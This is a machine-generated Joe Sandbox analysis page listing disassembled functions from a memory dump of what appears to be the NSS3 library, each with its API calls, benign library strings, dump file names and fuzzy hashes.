Opcode ID: 0e1cd65c4a6721b7175d2e6162af4ad03e76d0dd835e4a4cb3f0bbf43acaf1a5
Instruction ID: 3cb769a6a6c00928a774b197e001e962f29fecabe4e54c4bbbe80ec4f11d1730
Opcode Fuzzy Hash: 0e1cd65c4a6721b7175d2e6162af4ad03e76d0dd835e4a4cb3f0bbf43acaf1a5
Instruction Fuzzy Hash: 9321A1B6A046018FCB50EF78C48476ABBF4FF45318F25896AD99987701D738E84ACB91

Function 6CE4ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CE4ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE4AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE4AD23

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE4AD39

Strings

hSession = 0x%x, xrefs: 6CE4ACFE, 6CE4AD0E
(CK_INVALID_HANDLE), xrefs: 6CE4AD1C
C_MessageDecryptFinal, xrefs: 6CE4ACE1

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 7d76c3f317b21756ff8c70d4110b1f527c7d9e5b19eec2d49ef87e4c4c9292a3
Instruction ID: cf0a9d7b4785355ed479d0d84eaec6fabddf8da2a329f51c6b2c0ec7b7ed0464
Opcode Fuzzy Hash: 7d76c3f317b21756ff8c70d4110b1f527c7d9e5b19eec2d49ef87e4c4c9292a3
Instruction Fuzzy Hash: AC213A31B01124EFDB819F94FD88BAA3774AF4632DF158439E80997B11DB759809CBB2

Function 6CF20ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF20EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF20EFA

Part of subcall function 6CE0AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE0AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF20F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF20F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF20F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF20F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CF20ED9, 6CF20EE5, 6CF20F06, 6CF20F0B
Aborting, xrefs: 6CF20EB3

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 57ecb3eaae62765ed2aa3bf84142bedaa8bf2f8d4c3afe2b5810f69c0d983284
Instruction ID: 9d4bba94e67616ead2c0cd65bf93ac4ba28d069a2e398c2be61602edad83b5bc
Opcode Fuzzy Hash: 57ecb3eaae62765ed2aa3bf84142bedaa8bf2f8d4c3afe2b5810f69c0d983284
Instruction Fuzzy Hash: 56010CB6A10104BBCF10AFA4DC54EAB3F3DEF42368F000065FE1987712D675E9208AE2

Function 6CF01C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=l,?,?,6CE04E1D), ref: 6CF01C8A
sqlite3_free.NSS3(00000000), ref: 6CF01CB6

Strings

a CHECK constraint, xrefs: 6CF01C76, 6CF01C81
w=l, xrefs: 6CF01C44
an index, xrefs: 6CF01C67
a generated column, xrefs: 6CF01C6C
non-deterministic use of %s() in %s, xrefs: 6CF01C85

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=l
API String ID: 1840970956-366597085
Opcode ID: c7e1cb9b2552cbf7ee98f084aa8df2f49246ddb3ef08fbb1b5f7d9f49e2c6cbd
Instruction ID: c99c8c26b94d37f4ebd411457ec393a8c8d3ff20b70f08c7ca7b65c66b8cc891
Opcode Fuzzy Hash: c7e1cb9b2552cbf7ee98f084aa8df2f49246ddb3ef08fbb1b5f7d9f49e2c6cbd
Instruction Fuzzy Hash: C30147B5B001004BDB00BB68D4129B277E5EFC234CB15887DEC899BB13EB32E856C7A1

Function 6CEE4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CEE4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CEE4DE0

Strings

API call with %s database connection pointer, xrefs: 6CEE4DBD
%s at line %d of [%.10s], xrefs: 6CEE4DDA
invalid, xrefs: 6CEE4DB8
misuse, xrefs: 6CEE4DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CEE4DCB

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 551f38b0447f2264380654c4740ccb2d6e228a0e89a7af553cd78c74f50dbd96
Instruction ID: fc7b6f0a446f7cb781dbda21032304f16c389a16dd59f342162d5e164a2286f0
Opcode Fuzzy Hash: 551f38b0447f2264380654c4740ccb2d6e228a0e89a7af553cd78c74f50dbd96
Instruction Fuzzy Hash: 97F0B421F146647BD7014196CC10FD63BFA4F1A39DF6649A2EE086BB63D2069D609291

Function 6CEE4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CEE4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CEE4E4D

Strings

API call with %s database connection pointer, xrefs: 6CEE4E2A
%s at line %d of [%.10s], xrefs: 6CEE4E47
invalid, xrefs: 6CEE4E25
misuse, xrefs: 6CEE4E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CEE4E38

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 257f3850892768e9cabd68c87e3cd1472cca1fba99ded6c0bb976269befc0b16
Instruction ID: 05ae0b67f6716ceb19ef7e3112a79029b82f6fca47876aa8095275fd9dc80ed2
Opcode Fuzzy Hash: 257f3850892768e9cabd68c87e3cd1472cca1fba99ded6c0bb976269befc0b16
Instruction Fuzzy Hash: 45F0E951F449186BD61041A59C10FD23B9A471539DF6985A2EA086BFB3D2069D604293

Function 6CE19FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE1A086
EnterCriticalSection.KERNEL32(?), ref: 6CE1A09B
PR_Unlock.NSS3(?), ref: 6CE1A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE1A0E9
TlsGetValue.KERNEL32 ref: 6CE1A11B
EnterCriticalSection.KERNEL32(?), ref: 6CE1A12F
PR_Unlock.NSS3(?), ref: 6CE1A148

Part of subcall function 6CE31A40: PR_Now.NSS3(?,00000000,6CE128AD,00000000,?,6CE2F09A,00000000,6CE128AD,6CE193B0,?,6CE193B0,6CE128AD,00000000,?,00000000), ref: 6CE31A65

Part of subcall function 6CE31940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CE34126,?), ref: 6CE31966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE1A1A3

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 09632fd5d073da244c913e8db3ca4e995e93ca0f7fe158902f107f8b49ce50a4
Instruction ID: ad5acf32ce4bbae9a03465ebf0cdbfbfafbcede5e0fc28ea06269ebd3e0d7017
Opcode Fuzzy Hash: 09632fd5d073da244c913e8db3ca4e995e93ca0f7fe158902f107f8b49ce50a4
Instruction Fuzzy Hash: 4D5107B2E442009FEB119F75DC44ABB77B8AF8231CB25442DDC2997B01EB31E859C6A0

Function 6CE50C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CE51444,?,00000001,?,00000000,00000000,?,?,6CE51444,?,?,00000000,?,?), ref: 6CE50CB3

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CE51444,?,00000001,?,00000000,00000000,?,?,6CE51444,?), ref: 6CE50DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CE51444,?,00000001,?,00000000,00000000,?,?,6CE51444,?), ref: 6CE50DEC

Part of subcall function 6CE70F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE12AF5,?,?,?,?,?,6CE10A1B,00000000), ref: 6CE70F1A
Part of subcall function 6CE70F10: malloc.MOZGLUE(00000001), ref: 6CE70F30
Part of subcall function 6CE70F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE70F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CE51444,?,00000001,?,00000000,00000000,?), ref: 6CE50DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CE51444,?,00000001,?,00000000), ref: 6CE50E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CE51444,?,00000001,?,00000000,00000000,?), ref: 6CE50E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CE51444,?,00000001,?,00000000,00000000,?,?,6CE51444,?,?,00000000), ref: 6CE50E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CE51444,?,00000001,?,00000000,00000000,?), ref: 6CE50E79

Part of subcall function 6CE61560: TlsGetValue.KERNEL32(00000000,?,6CE30844,?), ref: 6CE6157A
Part of subcall function 6CE61560: EnterCriticalSection.KERNEL32(?,?,?,6CE30844,?), ref: 6CE6158F
Part of subcall function 6CE61560: PR_Unlock.NSS3(?,?,?,?,6CE30844,?), ref: 6CE615B2

Part of subcall function 6CE2B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CE31397,00000000,?,6CE2CF93,5B5F5EC0,00000000,?,6CE31397,?), ref: 6CE2B1CB
Part of subcall function 6CE2B1A0: free.MOZGLUE(5B5F5EC0,?,6CE2CF93,5B5F5EC0,00000000,?,6CE31397,?), ref: 6CE2B1D2

Part of subcall function 6CE289E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE288AE,-00000008), ref: 6CE28A04
Part of subcall function 6CE289E0: EnterCriticalSection.KERNEL32(?), ref: 6CE28A15
Part of subcall function 6CE289E0: memset.VCRUNTIME140(6CE288AE,00000000,00000132), ref: 6CE28A27
Part of subcall function 6CE289E0: PR_Unlock.NSS3(?), ref: 6CE28A35

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 2fcb0420edc5cc3d6767b58a0050481e47f84390585310defbf5ac993554396c
Instruction ID: a56afc44755e0d9656842aaf7c36a558e40e24b8b4676e8347aa1f01526f9655
Opcode Fuzzy Hash: 2fcb0420edc5cc3d6767b58a0050481e47f84390585310defbf5ac993554396c
Instruction Fuzzy Hash: 8C5174B6E002105FEB109F64DC81ABB37B8AF4525CF751428FC1997712EB26E925C7A2

Function 6CE06E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CE06ED8
sqlite3_value_text.NSS3(?,?), ref: 6CE06EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CE06FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CE06FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CE06FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CE07010
sqlite3_value_blob.NSS3(?,?), ref: 6CE0701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CE07052

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 93cb8f3ecf54830a8605fdcea68b7ef2307aa2d9961c8323628cbb1d8d52dda1
Instruction ID: 9d96cfad9995ecc41d6ee13a7fc20d6a2e704e6b6f2ae41259e556d3a37bfc28
Opcode Fuzzy Hash: 93cb8f3ecf54830a8605fdcea68b7ef2307aa2d9961c8323628cbb1d8d52dda1
Instruction Fuzzy Hash: 9861C1B1F142068BDB00CFA4C8417EEB7B6AF45308F384168D815AB751E7369C66CBE0

Function 6CE78F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CE77313), ref: 6CE78FBB

Part of subcall function 6CE707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE18298,?,?,?,6CE0FCE5,?), ref: 6CE707BF
Part of subcall function 6CE707B0: PL_HashTableLookup.NSS3(?,?), ref: 6CE707E6
Part of subcall function 6CE707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE7081B
Part of subcall function 6CE707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE70825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CE77313), ref: 6CE79012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CE77313), ref: 6CE7903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CE77313), ref: 6CE7909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CE77313), ref: 6CE790DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CE77313), ref: 6CE790F1

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CE77313), ref: 6CE7906B

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CE77313), ref: 6CE79128

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: abfbc5514b4114f556d717285c06fc97a2e3aac3b32137bcac4ebf7b9901964c
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: C8516E71B002018BEB209F6ADC48B26B3F5AF4535CF364169E915D7B61EB32E815CBB1

Function 6CE29C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CE28850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CE30715), ref: 6CE28859
Part of subcall function 6CE28850: PR_NewLock.NSS3 ref: 6CE28874
Part of subcall function 6CE28850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CE2888D

PR_NewLock.NSS3 ref: 6CE29CAD

Part of subcall function 6CED98D0: calloc.MOZGLUE(00000001,00000084,6CE00936,00000001,?,6CE0102C), ref: 6CED98E5

Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007AD
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007CD
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007D6
Part of subcall function 6CE007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CD9204A), ref: 6CE007E4
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,6CD9204A), ref: 6CE00864
Part of subcall function 6CE007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE00880
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,6CD9204A), ref: 6CE008CB
Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(?,?,6CD9204A), ref: 6CE008D7
Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(?,?,6CD9204A), ref: 6CE008FB

TlsGetValue.KERNEL32 ref: 6CE29CE8
EnterCriticalSection.KERNEL32(?,?,6CE2ECEC,6CE32FCD,00000000,?,6CE32FCD,?), ref: 6CE29D01
TlsGetValue.KERNEL32(?,?,?,6CE2ECEC,6CE32FCD,00000000,?,6CE32FCD,?), ref: 6CE29D38
EnterCriticalSection.KERNEL32(?,?,6CE2ECEC,6CE32FCD,00000000,?,6CE32FCD,?), ref: 6CE29D4D
PR_Unlock.NSS3 ref: 6CE29D70
PR_Unlock.NSS3 ref: 6CE29DC3
PR_NewLock.NSS3 ref: 6CE29DDD

Part of subcall function 6CE288D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE30725,00000000,00000058), ref: 6CE28906
Part of subcall function 6CE288D0: EnterCriticalSection.KERNEL32(?), ref: 6CE2891A
Part of subcall function 6CE288D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CE2894A
Part of subcall function 6CE288D0: calloc.MOZGLUE(00000001,6CE3072D,00000000,00000000,00000000,?,6CE30725,00000000,00000058), ref: 6CE28959
Part of subcall function 6CE288D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CE28993
Part of subcall function 6CE288D0: PR_Unlock.NSS3(?), ref: 6CE289AF

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: e55417e1c5139e93b265b8a74f01a3a8e024a3be1d5449fd2fca85222bb0a208
Instruction ID: 630b2e06740d64a505d50f696d0cf7183ee8aef6ebfa6c0146020e9bc27cb17f
Opcode Fuzzy Hash: e55417e1c5139e93b265b8a74f01a3a8e024a3be1d5449fd2fca85222bb0a208
Instruction Fuzzy Hash: 915171B5A047058FDB00EF78C4847AABBF0BF45359F25992DD8989B710DB38E884CB91

Function 6CF29EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF29EC0
EnterCriticalSection.KERNEL32(?), ref: 6CF29EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CF29F73
EnterCriticalSection.KERNEL32(?), ref: 6CF29FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CF29FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CF29FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CF2A01D

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
